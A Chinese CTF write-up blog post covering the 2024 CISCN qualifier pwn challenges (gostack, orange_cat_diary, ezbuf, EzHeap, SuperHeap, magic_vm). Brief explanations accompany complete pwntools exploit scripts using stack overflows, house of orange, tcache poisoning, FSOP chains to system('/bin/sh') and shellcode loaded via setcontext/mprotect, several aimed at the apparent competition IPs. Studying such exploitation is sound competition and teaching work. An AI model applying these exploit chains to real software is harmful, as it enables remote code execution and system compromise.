2024ciscn-pwn

本文最后更新于:2024年6月1日 晚上

gostack

简单的栈溢出,只要控制数据后面的一个指针指向可读地址即可

1
2
3
4
5
6
7
8
9
from pwn import *

p=process("./gostack")
#p=remote("8.147.133.9","39706")
e=ELF("./gostack")
payload=b"a"*0x100+p64(0x4C0995)+p64(0x1c8)
payload+=b'a'*0xc0+p64(0x4a0af6)
p.sendlineafter(b"message :",payload)
p.interactive()

orange_cat_diary

一个简单的堆溢出,利用house of orange泄露libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
def add(count,data=b'\n'):
pause()
p.sendlineafter(b'choice',b'1')
p.sendlineafter(b'content:',str(count).encode())
p.sendafter(b'content:',data)

def show():
p.sendlineafter(b'choice',b'2')

def free():
p.sendlineafter(b'choice',b'3')

def edit(count,data=b'\n'):
p.sendlineafter(b'choice',b'4')
p.sendlineafter(b'content',str(count).encode())
p.sendafter(b'content',data)
pause()



libc=ELF("./libc-2.23.so")
p=remote("8.147.131.196","32607")
#p=process("./orange_cat_diary")
#gdb.attach(p)
p.sendlineafter('name','rotwill')
add(0x68)
edit(0x70,b'a'*0x68+p64(0x1001-0x70)[:-1])
add(0x1000)
add(0x68)
show()
p.readuntil(':')
d=u64(p.read(8))
print(hex(d))
libc.address=d-0x3c510a
malloc_hook=libc.sym['__malloc_hook']

gadget=libc.address+0xf03a4
print(hex(malloc_hook))
free()
edit(8,p64(malloc_hook-0x23))
add(0x68)
add(0x68,b'a'*0x13+p64(gadget))
p.sendlineafter(b'choice',b'1')
p.sendlineafter(b'content:',"123")
p.interactive()

ezbuf

一个简单的堆溢出,不过使用了protobuf协议
比赛后半小时出的,太可惜了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *
import varint
import sys
num=0
def Mode(m):
return b'\x10'+varint.encode(m<<1)

def Ind(i):
return b'\x18'+varint.encode(i<<1)

def Spbuf(s):
if s:
s=0x30
else:
s=0
return b'\x20'+varint.encode(s<<1)

def Data(d):
return b'\x0a'+varint.encode(len(d))+d

def Spchr(s):
return b'\x28'+varint.encode(s)

def calc(data):
mark=0xfff000000000
data1=data&mark
result=0
result|=data1
for i in range(3):
data1=((data1>>12)^data)&(mark>>12)
result|=data1
mark=mark>>12
return result


def add(ind,data=b'\n'):
payload=Mode(1)+Ind(ind)+Data(data)+Spbuf(0)+Spchr(0)
if num!=3:
p.sendafter('NT?\n',payload)
else:
p.send(payload)

def free(ind):
payload=Mode(2)+Ind(ind)+Data(b'test')+Spbuf(0)+Spchr(0)
if num!=3:
p.sendafter('NT?\n',payload)
else:
p.send(payload)
def none():
payload=Mode(0)+Ind(0)+Data(b'test')+Spbuf(0)+Spchr(0)
if num!=3:
p.sendafter('NT?\n',payload)
else:
p.send(payload)


def show(ind,isbuf=0,spchr=0):
global num
payload=Mode(3)+Ind(ind)+Spbuf(isbuf)+Spchr(spchr)+Data(b'test')
if num!=3:
p.sendafter('NT?\n',payload)
p.readuntil('Content:')
num+=1
else:
p.send(payload)
pause

p=remote("8.147.134.47","30129")
libc=ELF("./libc.so.6")
add(0,b"0")
add(1,b'testtest')
show(0)
d=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
libc.address=d-0x21ac30

print(hex(libc.address))
stdout=libc.sym['_IO_2_1_stdout_']
vtable=stdout+0xd0
print(hex(vtable))
obstack_jump=libc.address+0x2173c0
for i in range(6):
add(i+2)

for i in range(7):
free(i)

show(1)
d=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
chunk0=calc(d)
print(f"{chunk0=: x}")
free(7)
system=libc.sym['system']

chunk6=chunk0+0x1d60
chunk7=chunk0+0x2020
obstack=p64(system)
obstack+=b'/bin/sh\x00'+p64(chunk7+8)


payload=p64(0)+p64(0x41)+p64((chunk6>>12)^(chunk7-0x10))
add(6,payload)
print(f"{chunk6=: x}")
print(f"{chunk7=: x}")

free(7)
add(8,p64((chunk7>>12)^(chunk6)))
print(hex(vtable))

for i in range(7):
add(0,obstack)

free(6)

pause()
add(0,p64(0)+p64(0x40)+p64(((chunk6+0x10)>>12)^(vtable)))

payload1=p64(0)+p64(obstack_jump)+p64(chunk7-0x38)
add(2,payload1)
add(2,payload1)

p.interactive()

EzHeap

跟ezbuf的类似,只是开启了沙箱防护,由没有使用protobuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
context.arch='amd64'
def add(l,data=b'\n'):
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'size:',str(l).encode())
p.sendafter(b"content:",data);
pass
def free(ind):
p.sendlineafter(b'>> ',b'2')
p.sendlineafter(b"idx",str(ind).encode())
def edit(ind,data):
p.sendlineafter(b'>> ',b'3')
p.sendlineafter(b'idx:',str(ind).encode())
p.sendlineafter(b'size:',str(len(data)).encode())
p.sendafter('content:',data)
def show(ind):
p.sendlineafter(b'>> ',b'4')
p.sendlineafter('idx',str(ind).encode())

def exit():
p.sendlineafter(b'>> ',b'5')

#p=process("EzHeap")
p=remote("8.147.134.47","35955")
libc=ELF("./libc.so.6")
#gdb.attach(p,'bp setcontext+0x3d')
add(0x300) #0
add(0x448) #1
add(0x300) #2
add(0x438) #3
add(0x300) #4
free(1)
add(0x500)
edit(0,b'a'*0x308+b'rotwilll')
show(0)

p.readuntil('rotwilll')
large=u64(p.readuntil('Welcome',drop=1).ljust(8,b'\x00'))
print(hex(large))
pause()
libc.address=large-0x21b0e0
stdout=libc.sym['_IO_2_1_stdout_']
wfile_jump=libc.sym['_IO_wfile_jumps']
iolist=libc.sym['_IO_list_all']
success(f"libcaddr=0x{libc.address:x}")

edit(0,b'a'*0x308+p64(0x451)+p64(large)*2+p64(iolist-0x20)*2)
free(3)
add(0x500)
edit(0,b'a'*0x308+b'rotwilll')
show(0)
p.readuntil('rotwilll')
chunk=u64(p.readuntil('Welcome',drop=1).ljust(8,b'\x00'))
print(hex(chunk))

fake_io_add=chunk
chunk1=chunk-0x300
gs=chunk1
shelladd=chunk1+0x200

shellcode=shellcraft.open("flag")+shellcraft.read(3,chunk,0x300)+shellcraft.write(1,chunk,0x300)
mprotect=libc.sym['mprotect']
setcontext=libc.sym['setcontext']
gadget=libc.address+0x167420

fake_io=flat({
0x28: [gs,1],
0x98: fake_io_add+0x28,
0xa0: fake_io_add,
0xd8: wfile_jump+0x30,
},filler=b'\x00')
gsdata=flat({
8: [gs,shelladd],
0x20: setcontext+0x3d,
0x28: gadget,
0x68: gs&(~0xfff),
0x70: 0x1000,
0x88: 7,
0xa0: gs+0x10,
0xa8: mprotect,
0xe0: gs
},filler=b'\x00')

payload=gsdata
payload=payload.ljust(0x200,b'\x00')
payload+=asm(shellcode)
payload=payload.ljust(0x300)
payload=payload+fake_io

edit(2,payload)

p.interactive()

SuperHeap

和EzHeap一样,稍微的难点就是go不好逆而且使用了protobuf
比赛的时候没认真看,复现才做出来,太可惜了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from pwn import *
context.arch='amd64'
import base64
import varint
import struct
def Title(t=b't'):
t=base64.b64encode(t)
return b'\x0a'+varint.encode(len(t))+t

def Auther(a=b'a'):
a=base64.b64encode(a)
return b'\x12'+varint.encode(len(a))+a

def Isbn(i=b'i'):
i=base64.b64encode(i)
return b'\x1a'+varint.encode(len(i))+i

def Date(d=b'd'):
d=base64.b64encode(d)
return b'\x22'+varint.encode(len(d))+d

def Price(d=1.1):
return b'\x29'+struct.pack('d',d)

def Stock(s=1):
return b'\x30'+varint.encode(s)

funcs={
"t":Title,
"a":Auther,
"i":Isbn,
"d":Date,
"p":Price,
"s":Stock}
def selectfunc(func):
def select(*args,**kargs):
n=0
for i in funcs:
if kargs.get(i)==None:
if n<len(args):
kargs[i]=(args[n],)
n+=1
else:
kargs[i]=tuple()
else:
kargs[i]=(kargs[i],)
return func(**kargs)
return select

@selectfunc
def makepayload(**kargs):
payload=b""
for i,v in kargs.items():
payload+=funcs[i](*v)
return payload

def add(ind,**kargs):
payload=makepayload(**kargs)
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'Index',str(ind).encode())
p.sendlineafter(b'Data:',base64.b32encode(payload))
def show(ind,**kargs):
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index',str(ind).encode())

def free(ind,**kargs):
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'Index',str(ind).encode())

def edit(ind,**kargs):
payload=makepayload(**kargs)
p.sendlineafter(b'>',b'4')
p.sendlineafter(b'Index',str(ind).encode())
p.sendlineafter(b'Data:',base64.b32encode(bytes(payload)))

def search(key,**kargs):
p.sendlineafter(b'>',b'5')
p.sendlineafter(b'Keyword:',key)
p=process("./SuperHeap")
libc=ELF("./libc.so.6")
gdb.attach(p,'c')
add(0,t=b'a'*0x438)
add(1,t=b"a"*0x428) #441
add(2,t=b'a'*0x438)
add(3,t=b"a"*0x438) #451
add(4,t=b'a'*0x438)

free(3)
add(5,t=b'a'*0x500)

edit(2,t=b'a'*0x448+b'rotwilll')
show(2)
p.readuntil(b'rotwilll')
large=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
libc.address=large-0x21ace0-0x400
iolist=libc.sym['_IO_list_all']
success(f"libc.address=0x{libc.address:x}")


edit(2,t=b'a'*0x448+p64(0x451)+p64(large)*2+p64(iolist-0x20)*2)

free(1)
add(6,t=b'a'*0x500)

edit(2,t=b'a'*0x448+b'rotwilll')
show(2)
p.readuntil(b'rotwilll')
chunk=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
print(hex(chunk))

fake_io_add=chunk
chunk1=chunk-0x440
gs=chunk1
shelladd=chunk1+0x200

shellcode=shellcraft.open("flag")+shellcraft.read(3,chunk,0x300)+shellcraft.write(1,chunk,0x300)
mprotect=libc.sym['mprotect']
setcontext=libc.sym['setcontext']
wfile_jump=libc.sym['_IO_wfile_jumps']
gadget=libc.address+0x167420

fake_io=flat({
0x28: [gs,1],
0x98: fake_io_add+0x28,
0xa0: fake_io_add,
0xd8: wfile_jump+0x30,
},filler=b'\x00')

gsdata=flat({
8: [gs,shelladd],
0x20: setcontext+0x3d,
0x28: gadget,
0x68: gs&(~0xfff),
0x70: 0x1000,
0x88: 7,
0xa0: gs+0x10,
0xa8: mprotect,
0xe0: gs
},filler=b'\x00')
payload=gsdata
payload=payload.ljust(0x200,b'\x00')
payload+=asm(shellcode)
payload=payload.ljust(0x440,b'\x00')
payload=payload+fake_io
edit(0,t=payload)

p.interactive()

magic_vm

程序执行code分为三步

  1. 解析
  2. 执行
  3. 赋值

假设存在三条指令 a,b,c

  • 在解析a,b,c时环境为初始环境
  • 在执行a,b时环境为初始环境
  • 在执行c时环境为执行a之后的环境

利用这一点可以绕过解析时的check_addr函数
只要在解析c时目标寄存器的值没有超过限制,而执行c时超过了限制就可以实现数组越界导致的读写
由于指令执行时数据所在页和ld.so中间没有不存在的地址,所以几乎可以说指令执行时数据所在页的地址与ld.so的偏移是不变的

比赛时想到了这个漏洞,但不知道为什么测试的时候有点问题没有证实我的想法
赛后复现的时候证实了这个想法,可能是比赛时思想有点死板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

ops={
"add":(1,2),
"sub":(2,2),
"sal":(3,2),
"sar":(4,2),
"mov":(5,2),
"and":(6,2),
"or":(7,2),
"xor":(8,2),
"push":(10,1),
"pop":(9,1),
"nop":(11,0)}

regs={"rax":0,"rbx":1,"rcx":2,"rdx":3}

def getOp(op):
return ops[op]

def parse_oper(reg):
if reg.startswith("["):
reg=reg[1:-1].strip()
optype=3
else:
optype=2
if regs.get(reg)!=None or optype==3:
if regs.get(reg)==None:
return (optype,int(reg)&0xff,p8)
else:
return (optype,regs.get(reg),p8)
optype=1
scope=0xffffffffffffffff
if reg.startswith('@'):
optype=2
scope=0xff
reg=reg[1:]
if reg.startswith("0x"):
return (optype,eval(reg)&scope,p64)
else:
return (optype,eval(reg)&scope,p64)


def parse(code):
codelines=code.splitlines()
codes=[]
for i in codelines:

if '#' in i:
sharp=i.find('#')
i=i[:sharp]
if len(i.strip())==0:
continue
if ';' in i:
c=i.split(';')
for j in c:
codes.append(j.strip())
else:
codes.append(i.strip())

result=b''
for i in codes:
opcode=b''
if i is '':
continue
if i.find(' ')==-1:
op=i.strip()
else:
op,regs=i.split(' ')
opc,opn=getOp(op)
if len(regs)==0 or opn==0:
opcode+=p8(opc)
elif regs.find(',')!=-1 and opn==2:
reg1,reg2=regs.split(',')
opt1,oper1,func1=parse_oper(reg1)
opt2,oper2,func2=parse_oper(reg2)
opt=(opt2<<2)+opt1
opcode+=p8(opc)+p8(opt)+func1(oper1)+func2(oper2)
else:
opt,oper,func=parse_oper(regs)
opcode+=p8(opc)+p8(opt)+func(oper)
print(hex(len(result)),i)
result+=opcode
#print(result)
return result

f=open('code')

code=f.read()
p=process("./pwn")
gdb.attach(p,'b IO_cleanup\nvmmap')
pause()
p.send(parse(code))
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
mov rax,0x112000+0x3a040+32
nop
mov rbx,[rax]
nop
nop
nop
nop
mov rax,rbx
mov rcx,0x112000-0xb00
nop
mov rbx,[rcx] #libcaddr
sub rax,0x112000-0xb00 #bufaddr
nop
nop
nop
add rbx,2209664 # stdout
nop
nop
mov rdx,rbx
nop
nop
sub rbx,rax
nop
nop
mov rax,rdx # getoffset

add rdx,8 # mov [fakeio]
mov rcx,0
nop
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx

mov rcx,0 # mov [fakeio+8]='/bin/sh\x00'
mov rdx,0x68732f6e69622f
add rbx,8
nop
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx

mov rcx,0 # mov [fakeio+0x10]='0'
mov rdx,0
add rbx,0x10-8
nop
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx

mov rcx,0 # mov [fakeio+0x18]='0'
mov rdx,0
add rbx,0x18-0x10
nop
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx

mov rcx,0 # mov [fakeio+0x20]='0'
mov rdx,0
add rbx,0x20-0x18
nop
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx


mov rcx,0 # mov [fakeio+0x28]=0x7fffffffffffffff
mov rdx,0x7fffffffffffffff
add rbx,0x28-0x20
nop
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx

mov rcx,0 # mov [fakeio+0x30]=0
mov rdx,0
add rbx,0x30-0x28
nop
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx

mov rcx,0 # mov [fakeio+0x38]=system
mov rdx,rax
nop
nop
sub rdx,1878544
add rbx,0x38-0x30
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx


mov rcx,0 # mov [fakeio+0x50]='0'
mov rdx,0
add rbx,0x50-0x38
nop
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx

mov rcx,0 # mov [fakeio+0xd8]=obstack
mov rdx,rax
nop
sub rdx,17344+0x48
add rbx,0xd8-0x50
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx

mov rcx,0 # mov [fakeio+0xe0]=fake_io
mov rdx,rax
nop
add rbx,0xe0-0xd8
nop
nop
mov rcx,rbx
nop
mov [rcx],rdx

nop
nop
nop
nop

2024ciscn-pwn
https://rot-will.github.io/page/wp/2024ciscn初赛wp-pwn/
作者
rot_will
发布于
2024年5月21日
更新于
2024年6月1日
许可协议